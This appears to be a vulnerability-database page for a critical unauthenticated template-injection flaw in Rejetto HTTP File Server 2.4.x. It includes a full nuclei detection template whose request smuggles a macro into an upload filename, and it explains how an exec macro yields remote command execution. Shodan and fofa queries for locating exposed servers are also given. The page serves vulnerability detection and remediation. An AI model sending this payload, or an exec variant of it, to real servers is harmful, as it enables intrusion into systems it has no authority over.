HexBrain

Browse / CVEs / CVE-2026-97359

CVE-2026-97359· rejetto / http file server· CWE-1336

Rejetto HTTP File Server 2.4.x - Template Injection

criticalseverity
9.8CVSS score
5.5%likelihood of exploitation, next 30 days
93%of all CVEs are less likely
Readycheck to confirm it

Rejetto HTTP File Server (HFS) 2.4.x inserts the multipart upload filename into the server-side template symbol map as %item-resource% without escaping. A filename containing the literal %item-resource% is substituted a second time by the sequential global replacement in xtpl(), allowing a :} sequence to terminate the quoting region so a following {.exec|...} macro is executed as an operating-system command. An unauthenticated attacker achieves remote code execution with a single request.

Impact

Unauthenticated attackers can execute arbitrary commands remotely, potentially leading to full system compromise.

Fix

Update to a version later than 2.4.0 or the latest available version.

How to confirm it

Send: POST /
Positive when: contains "7000788" and "\"err\":\"Not allowed.\"" AND status 200

Run it with nuclei: nuclei -id CVE-2026-97359 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2026-97359

info:
  name: Rejetto HTTP File Server 2.4.x - Template Injection
  author: kosoyyagent
  severity: critical
  description: |
    Rejetto HTTP File Server (HFS) 2.4.x inserts the multipart upload filename into the server-side template symbol map as %item-resource% without escaping. A filename containing the literal %item-resource% is substituted a second time by the sequential global replacement in xtpl(), allowing a :} sequence to terminate the quoting region so a following {.exec|...} macro is executed as an operating-system command. An unauthenticated attacker achieves remote code execution with a single request.
  impact: |
    Unauthenticated attackers can execute arbitrary commands remotely, potentially leading to full system compromise.
  remediation: |
    Update to a version later than 2.4.0 or the latest available version.
  reference:
    - https://github.com/wgetnz/hfs2/blob/master/advisories/hfs2-upload-filename-template-injection/README.md
    - https://nvd.nist.gov/vuln/detail/CVE-2026-97359
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-97359
    epss-score: 0.05516
    epss-percentile: 0.92869
    cwe-id: CWE-1336
  metadata:
    max-request: 1
    vendor: rejetto
    product: http_file_server
    shodan-query: http.html:"HttpFileServer" || product:"HFS"
    fofa-query: app="HFS"
  tags: cve,cve2026,hfs,rejetto,ssti,rce,vkev

http:
  - raw:
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----NucleiBoundaryV7k2
        Connection: close

        ------NucleiBoundaryV7k2
        Content-Disposition: form-data; name="f"; filename="%item-resource%:}{.add|7000000|788.}"
        Content-Type: application/octet-stream

        hi
        ------NucleiBoundaryV7k2--

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '7000788'
          - '"err":"Not allowed."'
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from